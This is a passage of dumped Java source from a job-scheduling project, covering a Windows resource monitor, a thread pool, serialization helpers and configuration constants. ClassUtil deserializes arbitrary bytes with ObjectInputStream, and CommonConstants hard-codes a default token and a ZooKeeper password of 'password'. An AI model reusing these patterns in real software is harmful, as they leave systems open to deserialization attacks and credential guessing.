    "content": "package com.gome.clover.common.systeminfo;\r\n\r\nimport com.sun.management.OperatingSystemMXBean;\r\nimport sun.management.ManagementFactory;\r\n\r\nimport java.io.File;\r\nimport java.io.InputStreamReader;\r\nimport java.io.LineNumberReader;\r\nimport java.util.ArrayList;\r\nimport java.util.List;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:clover\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/12/30\r\n * Time: 12:24\r\n */\r\npublic class WindowsInfoUtil {\r\n    private static final int CPUTIME = 500;\r\n    private static final int PERCENT = 100;\r\n    private static final int FAULTLENGTH = 10;\r\n\r\n    public static void main(String[] args) {\r\n        System.out.println(getCpuRatioForWindows());\r\n        System.out.println(getMemery());\r\n        System.out.println(getDisk());\r\n    }\r\n\r\n    //获取内存使用率\r\n    public static String getMemery(){\r\n        OperatingSystemMXBean osmxb = (OperatingSystemMXBean) ManagementFactory.getOperatingSystemMXBean();\r\n        // 总的物理内存+虚拟内存\r\n        long totalVirtualMemory = osmxb.getTotalSwapSpaceSize();\r\n        // 剩余的物理内存\r\n        long freePhysicalMemorySize = osmxb.getFreePhysicalMemorySize();\r\n        Double compare= (1-freePhysicalMemorySize*1.0/totalVirtualMemory) *100;\r\n        String str=\"内存已使用:\"+compare.intValue()+\"%\";\r\n        return str;\r\n    }\r\n\r\n    //获取文件系统使用率\r\n    public static List<String> getDisk() {\r\n        // 操作系统\r\n        List<String> list=new ArrayList<String>();\r\n        for (char c = 'A'; c <= 'Z'; c++) {\r\n            String dirName = c + \":/\";\r\n            File win = new File(dirName);\r\n            if(win.exists()){\r\n                long total=(long)win.getTotalSpace();\r\n                long free=(long)win.getFreeSpace();\r\n                Double compare=(Double)(1-free*1.0/total)*100;\r\n                String str=c+\":盘  已使用 \"+compare.intValue()+\"%\";\r\n                list.add(str);\r\n            }\r\n        }\r\n        return list;\r\n    }\r\n\r\n    //获得cpu使用率\r\n    public static String getCpuRatioForWindows() {\r\n        try {\r\n            String procCmd = System.getenv(\"windir\") + \"\\\\system32\\\\wbem\\\\wmic.exe process get Caption,CommandLine,KernelModeTime,ReadOperationCount,ThreadCount,UserModeTime,WriteOperationCount\";\r\n            // 取进程信息\r\n            long[] c0 = readCpu(Runtime.getRuntime().exec(procCmd));\r\n            Thread.sleep(CPUTIME);\r\n            long[] c1 = readCpu(Runtime.getRuntime().exec(procCmd));\r\n            if (c0 != null && c1 != null) {\r\n                long idletime = c1[0] - c0[0];\r\n                long busytime = c1[1] - c0[1];\r\n                return \"CPU使用率:\"+Double.valueOf(PERCENT * (busytime)*1.0 / (busytime + idletime)).intValue()+\"%\";\r\n            } else {\r\n                return \"CPU使用率:\"+0+\"%\";\r\n            }\r\n        } catch (Exception ex) {\r\n            ex.printStackTrace();\r\n            return \"CPU使用率:\"+0+\"%\";\r\n        }\r\n    }\r\n\r\n    //读取cpu相关信息\r\n    private static long[] readCpu(final Process proc) {\r\n        long[] retn = new long[2];\r\n        try {\r\n            proc.getOutputStream().close();\r\n            InputStreamReader ir = new InputStreamReader(proc.getInputStream());\r\n            LineNumberReader input = new LineNumberReader(ir);\r\n            String line = input.readLine();\r\n            if (line == null || line.length() < FAULTLENGTH) {\r\n                return null;\r\n            }\r\n            int capidx = line.indexOf(\"Caption\");\r\n            int cmdidx = line.indexOf(\"CommandLine\");\r\n            int rocidx = line.indexOf(\"ReadOperationCount\");\r\n            int umtidx = line.indexOf(\"UserModeTime\");\r\n            int kmtidx = line.indexOf(\"KernelModeTime\");\r\n            int wocidx = line.indexOf(\"WriteOperationCount\");\r\n            long idletime = 0;\r\n            long kneltime = 0;\r\n            long usertime = 0;\r\n            while ((line = input.readLine()) != null) {\r\n                if (line.length() < wocidx) {\r\n                    continue;\r\n                }\r\n                // 字段出现顺序：Caption,CommandLine,KernelModeTime,ReadOperationCount,\r\n                // ThreadCount,UserModeTime,WriteOperation\r\n                String caption =substring(line, capidx, cmdidx - 1).trim();\r\n                String cmd = substring(line, cmdidx, kmtidx - 1).trim();\r\n                if (cmd.indexOf(\"wmic.exe\") >= 0) {\r\n                    continue;\r\n                }\r\n                String s1 = substring(line, kmtidx, rocidx - 1).trim();\r\n                String s2 = substring(line, umtidx, wocidx - 1).trim();\r\n                if (caption.equals(\"System Idle Process\") || caption.equals(\"System\")) {\r\n                    if (s1.length() > 0)\r\n                        idletime += Long.valueOf(s1).longValue();\r\n                    if (s2.length() > 0)\r\n                        idletime += Long.valueOf(s2).longValue();\r\n                    continue;\r\n                }\r\n                if (s1.length() > 0)\r\n                    kneltime += Long.valueOf(s1).longValue();\r\n                if (s2.length() > 0)\r\n                    usertime += Long.valueOf(s2).longValue();\r\n            }\r\n            retn[0] = idletime;\r\n            retn[1] = kneltime + usertime;\r\n            return retn;\r\n        } catch (Exception ex) {\r\n            ex.printStackTrace();\r\n        } finally {\r\n            try {\r\n                proc.getInputStream().close();\r\n            } catch (Exception e) {\r\n                e.printStackTrace();\r\n            }\r\n        }\r\n        return null;\r\n    }\r\n\r\n\r\n    /**\r\n     * 由于String.subString对汉字处理存在问题（把一个汉字视为一个字节)，因此在 包含汉字的字符串时存在隐患，现调整如下：\r\n     * @param src 要截取的字符串\r\n     * @param start_idx 开始坐标（包括该坐标)\r\n     * @param end_idx 截止坐标（包括该坐标）\r\n     * @return\r\n     */\r\n    private static String substring(String src, int start_idx, int end_idx) {\r\n        byte[] b = src.getBytes();\r\n        String tgt = \"\";\r\n        for (int i = start_idx; i <= end_idx; i++) {\r\n            tgt += (char) b[i];\r\n        }\r\n        return tgt;\r\n    }\r\n}"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/thread/MyThreadPool.java",
    "content": "package com.gome.clover.common.thread;\r\nimport java.util.LinkedList;\r\nimport java.util.List;\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:My Thread Pool(线程池类，线程管理器：创建线程，执行任务，销毁线程，获取线程基本信息 )\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/12/18\r\n * Time: 15:18\r\n */\r\npublic class MyThreadPool {\r\n    // 线程池中默认线程的个数为5\r\n    private static int defaultWorkerNum = 5;\r\n    // 工作线程\r\n    private WorkThread[] workThreads;\r\n    // 未处理的任务\r\n    private static volatile int finished_task = 0;\r\n    // 任务队列，作为一个缓冲,List线程不安全\r\n    private List<Runnable> taskQueue = new LinkedList<Runnable>();\r\n    private static MyThreadPool threadPool;\r\n\r\n    // 创建具有默认线程个数的线程池\r\n    private MyThreadPool() {\r\n        this(5);\r\n    }\r\n\r\n    // 创建线程池,worker_num为线程池中工作线程的个数\r\n    private MyThreadPool(int workerNum) {\r\n        MyThreadPool.defaultWorkerNum = workerNum;\r\n        workThreads = new WorkThread[workerNum];\r\n        for (int i = 0; i < workerNum; i++) {\r\n            workThreads[i] = new WorkThread();\r\n            workThreads[i].start();// 开启线程池中的线程\r\n        }\r\n    }\r\n\r\n    // 单态模式，获得一个默认线程个数的线程池\r\n    public static MyThreadPool getThreadPool() {\r\n        return getThreadPool(MyThreadPool.defaultWorkerNum);\r\n    }\r\n\r\n    // 单态模式，获得一个指定线程个数的线程池,worker_num(>0)为线程池中工作线程的个数\r\n    // worker_num<=0创建默认的工作线程个数\r\n    public static MyThreadPool getThreadPool(int workerNum) {\r\n        if (workerNum <= 0)\r\n            workerNum = MyThreadPool.defaultWorkerNum;\r\n        if (threadPool == null)\r\n            threadPool = new MyThreadPool(workerNum);\r\n        return threadPool;\r\n    }\r\n\r\n    // 执行任务,其实只是把任务加入任务队列，什么时候执行有线程池管理器觉定\r\n    public void execute(Runnable task) {\r\n        synchronized (taskQueue) {\r\n            taskQueue.add(task);\r\n            taskQueue.notify();\r\n        }\r\n    }\r\n\r\n    // 批量执行任务,其实只是把任务加入任务队列，什么时候执行有线程池管理器觉定\r\n    public void execute(Runnable[] task) {\r\n        synchronized (taskQueue) {\r\n            for (Runnable t : task)\r\n                taskQueue.add(t);\r\n            taskQueue.notify();\r\n        }\r\n    }\r\n\r\n    // 批量执行任务,其实只是把任务加入任务队列，什么时候执行有线程池管理器觉定\r\n    public void execute(List<Runnable> task) {\r\n        synchronized (taskQueue) {\r\n            for (Runnable t : task)\r\n                taskQueue.add(t);\r\n            taskQueue.notify();\r\n        }\r\n    }\r\n\r\n    // 销毁线程池,该方法保证在所有任务都完成的情况下才销毁所有线程，否则等待任务完成才销毁\r\n    public void destroy() {\r\n        while (!taskQueue.isEmpty()) {// 如果还有任务没执行完成，就先睡会吧\r\n            try {\r\n                Thread.sleep(10);\r\n            } catch (InterruptedException e) {\r\n                e.printStackTrace();\r\n            }\r\n        }\r\n        // 工作线程停止工作，且置为null\r\n        for (int i = 0; i < defaultWorkerNum; i++) {\r\n            workThreads[i].stopWorker();\r\n            workThreads[i] = null;\r\n        }\r\n        threadPool=null;\r\n        taskQueue.clear();// 清空任务队列\r\n    }\r\n\r\n    // 返回工作线程的个数\r\n    public int getWorkThreadNumber() {\r\n        return defaultWorkerNum;\r\n    }\r\n\r\n    // 返回已完成任务的个数,这里的已完成是只出了任务队列的任务个数，可能该任务并没有实际执行完成\r\n    public int getFinishedTasknumber() {\r\n        return finished_task;\r\n    }\r\n\r\n    // 返回任务队列的长度，即还没处理的任务个数\r\n    public int getWaitTasknumber() {\r\n        return taskQueue.size();\r\n    }\r\n\r\n    // 覆盖toString方法，返回线程池信息：工作线程个数和已完成任务个数\r\n    @Override\r\n    public String toString() {\r\n        return \"WorkThread number:\" + defaultWorkerNum + \"  finished task number:\"\r\n                + finished_task + \"  wait task number:\" + getWaitTasknumber();\r\n    }\r\n\r\n    /**\r\n     * 内部类，工作线程\r\n     */\r\n    private class WorkThread extends Thread {\r\n        // 该工作线程是否有效，用于结束该工作线程\r\n        private boolean isRunning = true;\r\n\r\n        /*\r\n         * 关键所在啊，如果任务队列不空，则取出任务执行，若任务队列空，则等待\r\n         */\r\n        @Override\r\n        public void run() {\r\n            Runnable r = null;\r\n            while (isRunning) {// 注意，若线程无效则自然结束run方法，该线程就没用了\r\n                synchronized (taskQueue) {\r\n                    while (isRunning && taskQueue.isEmpty()) {// 队列为空\r\n                        try {\r\n                            taskQueue.wait(20);\r\n                        } catch (InterruptedException e) {\r\n                            e.printStackTrace();\r\n                        }\r\n                    }\r\n                    if (!taskQueue.isEmpty())\r\n                        r = taskQueue.remove(0);// 取出任务\r\n                }\r\n                if (r != null) {\r\n                    r.run();// 执行任务\r\n                }\r\n                finished_task++;\r\n                r = null;\r\n            }\r\n        }\r\n\r\n        // 停止工作，让该线程自然执行完run方法，自然结束\r\n        public void stopWorker() {\r\n            isRunning = false;\r\n        }\r\n    }\r\n}"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/tools/ClassUtil.java",
    "content": "package com.gome.clover.common.tools;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.io.*;\nimport java.util.Map;\nimport java.util.concurrent.ConcurrentHashMap;\n/**\n * ━━━━━━神兽出没━━━━━━\n * 　　　┏┓　　　┏┓\n * 　　┏┛┻━━━┛┻┓\n * 　　┃　　　　　　　┃\n * 　　┃　　　━　　　┃\n * 　　┃　┳┛　┗┳　┃\n * 　　┃　　　　　　　┃\n * 　　┃　　　┻　　　┃\n * 　　┃　　　　　　　┃\n * 　　┗━┓　　　┏━┛\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\n * 　　　　┃　　　┗━━━┓\n * 　　　　┃　　　　　　　┣┓\n * 　　　　┃　　　　　　　┏┛\n * 　　　　┗┓┓┏━┳┓┏┛\n * 　　　　　┃┫┫　┃┫┫\n * 　　　　　┗┻┛　┗┻┛\n * ━━━━━━感觉萌萌哒━━━━━━\n * Module Desc:Class Util\n * User: wangyue-ds6 || stark_summer@qq.com\n * Date: 2014/11/21\n * Time: 14:27\n */\n\npublic class ClassUtil {\n\n\tprivate static Map<String, Class<?>> cachedClass = new ConcurrentHashMap<String, Class<?>>();\n\n\tprivate static Logger logger = LoggerFactory.getLogger(ClassUtil.class);\n\n\tprivate static void loggerError(Exception e) {\n\t\tlogger.error(e.getMessage(), e);\n\t}\n\n\tpublic static Class<?> getClass(String className) {\n\t\tClass<?> cls = getCachedClass(className);\n\t\tif (cls != null)\n\t\t\treturn cls;\n\t\tcls = classForName(className);\n\t\tif (cls == null)\n\t\t\treturn null;\n\t\tsetCachedClass(cls.getName(), cls);\n\t\treturn cls;\n\t}\n\n\tprivate static Class<?> getCachedClass(String className) {\n\t\tif (StringUtil.isEmpty(className))\n\t\t\treturn null;\n\t\treturn cachedClass.get(className);\n\t}\n\n\tprivate static Class<?> classForName(String className) {\n\t\tif (StringUtil.isEmpty(className))\n\t\t\treturn null;\n\t\ttry {\n\t\t\treturn (Class<?>) Class.forName(className);\n\t\t} catch (ClassNotFoundException e) {\n\t\t\tloggerError(e);\n\t\t\treturn null;\n\t\t}\n\t}\n\n\tprivate synchronized static void setCachedClass(String className, Class<?> cls) {\n\t\tcachedClass.put(className, cls);\n\t}\n\n\tpublic static Object getInstance(Class<?> cls) {\n\t\tif (cls == null)\n\t\t\treturn null;\n\t\ttry {\n\t\t\treturn cls.newInstance();\n\t\t} catch (InstantiationException e) {\n\t\t\tloggerError(e);\n\t\t} catch (IllegalAccessException e) {\n\t\t\tloggerError(e);\n\t\t}\n\t\treturn null;\n\t}\n\n\tpublic static Object BytesToObject(byte[] bytes) {\n\t\tObject obj = new Object();\n\t\tByteArrayInputStream bi = null;\n\t\tObjectInputStream oi = null;\n\t\ttry {\n\t\t\tbi = new ByteArrayInputStream(bytes);\n\t\t\toi = new ObjectInputStream(bi);\n\t\t\tobj = oi.readObject();\n\t\t} catch (Exception e) {\n\t\t\tloggerError(e);\n\t\t} finally {\n\t\t\ttry {\n\t\t\t\tif (bi != null)\n\t\t\t\t\tbi.close();\n\t\t\t\tif (oi != null)\n\t\t\t\t\toi.close();\n\t\t\t} catch (IOException e) {\n\t\t\t\tloggerError(e);\n\t\t\t}\n\t\t}\n\t\treturn obj;\n\t}\n\n\tpublic static byte[] ObjectToBytes(Object object) {\n\t\tbyte[] bytes = new byte[1024];\n\t\tByteArrayOutputStream bo = null;\n\t\tObjectOutputStream oo = null;\n\t\ttry {\n\t\t\tbo = new ByteArrayOutputStream();\n\t\t\too = new ObjectOutputStream(bo);\n\t\t\too.writeObject(object);\n\t\t\tbytes = bo.toByteArray();\n\t\t} catch (IOException e) {\n\t\t\tloggerError(e);\n\t\t} finally {\n\t\t\ttry {\n\t\t\t\tif (bo != null)\n\t\t\t\t\tbo.close();\n\t\t\t\tif (oo != null)\n\t\t\t\t\too.close();\n\t\t\t} catch (IOException e) {\n\t\t\t\tloggerError(e);\n\t\t\t}\n\t\t}\n\t\treturn bytes;\n\t}\n\n}"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/tools/CommonConstants.java",
    "content": "package com.gome.clover.common.tools;\r\n\r\nimport com.gome.clover.common.file.ConfigFile;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:公共常量类\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/21\r\n * Time: 14:27\r\n */\r\n\r\npublic class CommonConstants {\r\n    /**\r\n     * MODULE_TYPE Server\r\n     */\r\n    public  static  final String MODULE_TYPE_SERVER = \"server\";\r\n    /**\r\n     * MODULE_TYPE Client\r\n     */\r\n    public  static  final String MODULE_TYPE_CLIENT = \"client\";\r\n    /**\r\n     * MODULE_TYPE Server With Admin\r\n     */\r\n    public  static  final String MODULE_TYPE_SERVER_WITH_ADMIN = \"serverWithAdmin\";\r\n\r\n    /**\r\n     * MODULE_TYPE Client With Admin\r\n     */\r\n    public  static  final String MODULE_TYPE_CLIENT_WITH_ADMIN = \"clientWithAdmin\";\r\n\r\n    /**\r\n     * MODULE_TYPE Server With Monitor\r\n     */\r\n    public  static  final String MODULE_TYPE_SERVER_WITH_MONITOR = \"serverWithMonitor\";\r\n\r\n    /**\r\n     * zero mq 服务端 启动消费者 端口\r\n     */\r\n    public  static  final String ZMQ_SERVER_PORT;\r\n\r\n    /**\r\n     * NETTY 服务端 启动消费者 端口\r\n     */\r\n    public  static  final int NETTY_SERVER_PORT;\r\n\r\n    /**\r\n     * job type local:本地job\r\n     */\r\n    public  static  final String JOB_TYPE_LOCAL = \"LOCAL\";\r\n    /**\r\n     * job type remote:分布式job\r\n     */\r\n    public  static  final String JOB_TYPE_REMOTE = \"REMOTE\";\r\n\r\n    /**\r\n     * job status 1:初始化状态\r\n     */\r\n    public  static  final String JOB_STATUS_1 = \"1\";\r\n    /**\r\n     * job status 2:运行中状态\r\n     */\r\n    public  static  final String JOB_STATUS_2 = \"2\";\r\n\r\n    /**\r\n     * job status 3:结束状态\r\n     */\r\n    public  static  final String JOB_STATUS_3 = \"3\";\r\n\r\n    public  static final String ALIVE = \"alive\";\r\n\r\n    public  static final String ALIVE_STATUS_0 = \"0\";//死亡\r\n    public  static final String ALIVE_STATUS_1 = \"1\";//存活\r\n\r\n\r\n    public static final long SERVER_DIFFER_MILLI_SECONDS; //服务端HeartBeat间隔时间2分钟\r\n\r\n    public static  final long CLIENT_DIFFER_MILLI_SECONDS; //客户端HeartBeat间隔时间2分钟\r\n\r\n    public static  final long MONITOR_DIFFER_MILLI_SECONDS; //monitor HeartBeat间隔时间2分钟\r\n\r\n    public  static  final String TOPIC_CLOVER_SERVER = \"TOPIC_CLOVER_SERVER\";\r\n    public  static  final String TOPIC_CLOVER_CLIENT = \"TOPIC_CLOVER_CLIENT\";\r\n\r\n    public  static  final int port = 8888;//netty port\r\n\r\n    public  static  final String DEFAULT_COMPANY_EMAIL;\r\n    public  static  final String DEFAULT_PRIVATE_EMAIL;\r\n    public  static  final String SYSTEM_ID_CLOVER = \"clover\";\r\n\r\n    public static final  String REMOTE_JOB_GROUP = \"remote-jobs\";\r\n    public static final  String SPLIT_CHARACTER_FALG = \"_#_\";\r\n    public static final String SERVER_JOB_INFO = \"serverJobInfo\";\r\n    public static final String CLIENT_JOB_INFO = \"clientJobInfo\";\r\n    public static final String CLIENT_JOB_PATH = \"clientJobPath\";\r\n\r\n    public static  String ZK_CONNECT_STRING =null;\r\n    public static  String ZK_ROOT_PATH = null;\r\n    public static  String ZK_USER_NAME = null;\r\n    public static  String ZK_PASSWORD = null;\r\n    public static int ZOO_KEEPER_TIMEOUT;\r\n\r\n    public static long ZMQ_SLEEP_CLIENT_MILLIS; //zeromq消费者端 等待一分钟后启动\r\n    public static long ZMQ_SLEEP_SERVER_MILLIS ;//zeromq生产者端 等待一分钟后启动\r\n\r\n    public static String token;\r\n\r\n    public static String DISABLED_DB; //是否启动DB\r\n    public static String TYPE_DB = \"typeDB\"; //DB类型\r\n\r\n    public static int POOL_SIZE;\r\n\r\n    public static int MAX_FAIL_TIMES; //max fail times\r\n    public static double MAX_MEM_RATIO; //max mem ratio\r\n    public static double MAX_CPU_RATIO; //max cpu ratio\r\n    public static String SERVER_JOB_STRATEGY; //server job strategy\r\n\r\n    public static String ID = \"id\";\r\n    public static String JOB_CLASS = \"jobClass\";\r\n    public static String PORT = \"port\";\r\n    public static String IP = \"ip\";\r\n    public static String TS = \"ts\";\r\n    public static String MEM_RATIO = \"memRatio\";\r\n    public static String CPU_RATIO = \"cpuRatio\";\r\n    public static String TOTAL_THREAD = \"totalThread\";\r\n\r\n    public static String SUCCESS = \"success\";\r\n    public static String ERROR_CODE = \"errorCode\";\r\n\r\n    public static String ERROR_CODE_101 = \"101\"; //serverInfo |clientInfo is null\r\n    public static String ERROR_CODE_102 = \"102\"; //over max mem ratio\r\n    public static String ERROR_CODE_103 = \"103\"; // other error\r\n\r\n    static {\r\n        ZMQ_SERVER_PORT = ConfigFile.commonConfig().getItem(\"zmqServerPort\",\"1688\");\r\n        NETTY_SERVER_PORT = ConfigFile.commonConfig().getIntItem(\"nettyServerPort\",\"8087\");\r\n        SERVER_DIFFER_MILLI_SECONDS = ConfigFile.commonConfig().getLongItem(\"serverDifferMilliSeconds\", \"2*60*1000\");\r\n        CLIENT_DIFFER_MILLI_SECONDS = ConfigFile.commonConfig().getLongItem(\"clientDifferMilliSeconds\",\"2*60*1000\");\r\n        MONITOR_DIFFER_MILLI_SECONDS = ConfigFile.commonConfig().getLongItem(\"monitorDifferMilliSeconds\",\"2*60*1000\");\r\n        DEFAULT_COMPANY_EMAIL = ConfigFile.commonConfig().getItem(\"defaultCompanyEmail\", \"xiaoxiangxu@yolo24.com\");\r\n        DEFAULT_PRIVATE_EMAIL = ConfigFile.commonConfig().getItem(\"defaultPrivateEmail\", \"zhutouzan@163.com\");\r\n        ZMQ_SLEEP_CLIENT_MILLIS = ConfigFile.commonConfig().getLongItem(\"zmqSleepClientMillis\", \"1000\");\r\n        ZMQ_SLEEP_SERVER_MILLIS = ConfigFile.commonConfig().getLongItem(\"zmqSleepServerMillis\", \"1000\");\r\n        token = ConfigFile.commonConfig().getItem(\"token\", \"6fb8535d703f2492704aefc212b7cd41\");\r\n        DISABLED_DB = ConfigFile.commonConfig().getItem(\"disabledDB\", \"disabledDB\");\r\n        POOL_SIZE = ConfigFile.commonConfig().getIntItem(\"poolSize\", \"100\");\r\n        MAX_FAIL_TIMES = ConfigFile.commonConfig().getIntItem(\"maxFailTimes\", \"5\");\r\n        MAX_MEM_RATIO = ConfigFile.commonConfig().getDoubleItem(\"maxMemRatio\", \"0.95\");\r\n        MAX_CPU_RATIO = ConfigFile.commonConfig().getDoubleItem(\"maxCpuRatio\", \"0.95\");\r\n        SERVER_JOB_STRATEGY = ConfigFile.commonConfig().getItem(\"serverJobStrategy\", \"SYSTEM_CAPACITY\");\r\n\r\n        ZK_CONNECT_STRING = ConfigFile.zkConfig().getItem(\"zkConnectString\",\"127.0.0.1:2181\");\r\n        ZK_ROOT_PATH = ConfigFile.zkConfig().getItem(\"rootPath\",\"/clover\");\r\n        ZK_USER_NAME = ConfigFile.zkConfig().getItem(\"userName\",\"cloverAdmin\");\r\n        ZK_PASSWORD = ConfigFile.zkConfig().getItem(\"password\",\"password\");\r\n        ZOO_KEEPER_TIMEOUT = ConfigFile.zkConfig().getIntItem(\"zkSessionTimeout\", \"60000000\");\r\n    }\r\n\r\n}\r\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/tools/ConfigUtil.java",
    "content": "package com.gome.clover.common.tools;\r\n\r\nimport java.io.File;\r\nimport java.io.FileInputStream;\r\nimport java.io.InputStream;\r\nimport java.util.Properties;\r\nimport java.util.concurrent.ConcurrentHashMap;\r\nimport java.util.concurrent.locks.Lock;\r\n\r\nimport org.apache.commons.lang3.StringUtils;\r\nimport org.apache.commons.logging.Log;\r\nimport org.apache.commons.logging.LogFactory;\r\n\r\npublic class ConfigUtil {\r\n\r\n\tprivate Properties prop;\r\n\tprivate final String propFile = \"Config.properties\";\r\n\tprivate volatile long lastModifiedTime;// 最后修改时间\r\n\tprivate File xmlFile;\r\n\tprivate Lock lock = null;\r\n\tprivate static Log log = LogFactory.getLog(ConfigUtil.class);\r\n\r\n\tprivate static final ConcurrentHashMap<String, ConfigUtil> proMap = new ConcurrentHashMap<String, ConfigUtil>();\r\n\r\n\tprivate ConfigUtil(String propFile) {\r\n\t\tif (lock == null) {\r\n\t\t\tlock = new java.util.concurrent.locks.ReentrantLock();\r\n\t\t}\r\n\t\txmlFile = new File(Thread.currentThread().getContextClassLoader().getResource(propFile).getFile());\r\n\t\tif (xmlFile.exists()) {\r\n\t\t\tlastModifiedTime = xmlFile.lastModified();\r\n\t\t} else {\r\n\t\t\tlog.info(\"配置文件\" + propFile + \"不存在，请检查。\");\r\n\t\t}\r\n\t\tthis.initPropertFile();\r\n\r\n\t}\r\n\r\n\tpublic static ConfigUtil getInstance(String propFile) {\r\n\t\tif (proMap.get(propFile) == null) {\r\n\t\t\tproMap.putIfAbsent(propFile, new ConfigUtil(propFile));\r\n\t\t}\r\n\t\treturn proMap.get(propFile);\r\n\t}\r\n\r\n\t/**\r\n\t * 初始化配置文件\r\n\t */\r\n\tpublic void initPropertFile() {\r\n\t\tif (lock == null) {\r\n\t\t\tlock = new java.util.concurrent.locks.ReentrantLock();\r\n\t\t}\r\n\t\tif (prop == null || this.checkFileReload()) {\r\n\t\t\tlock.lock();\r\n\t\t\tprop = new Properties();\r\n\t\t\ttry {\r\n\t\t\t\tInputStream ins = new FileInputStream(xmlFile);\r\n\t\t\t\tprop.load(ins);\r\n\t\t\t} catch (Exception e) {\r\n\t\t\t\tlog.error(\"加载Config.properties 文件出错:\" + e.getMessage());\r\n\t\t\t} finally {\r\n\t\t\t\tlock.unlock();\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\t/**\r\n\t * 获取值\r\n\t * \r\n\t * @return\r\n\t */\r\n\tpublic String getValue(String key) {\r\n\t\tthis.initPropertFile();\r\n\t\tString v = prop.getProperty(key);\r\n\t\tif (StringUtils.isBlank(v)) {\r\n\t\t\treturn \"\";\r\n\t\t}\r\n\t\treturn v.trim();\r\n\t}\r\n\r\n\tpublic synchronized void setValue(String key, String value) {\r\n\t\tthis.initPropertFile();\r\n\t\tprop.setProperty(key, value);\r\n\t}\r\n\r\n\t/**\r\n\t * 判断是否需要重新加载xml文件\r\n\t */\r\n\tprivate boolean checkFileReload() {\r\n\t\tlong new_time = xmlFile.lastModified();\r\n\t\tboolean returnresult = false;// 是否需要重新加载，false不需要，true需要\r\n\t\tif (new_time == 0) {\r\n\t\t\tlog.info(\"配置文件\" + propFile + \"不存在，请检查。\");\r\n\t\t} else if (new_time > lastModifiedTime) {\r\n\t\t\tlastModifiedTime = new_time;\r\n\t\t\treturnresult = true;\r\n\t\t}\r\n\t\treturn returnresult;\r\n\t}\r\n\r\n}\r\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/tools/DateUtil.java",
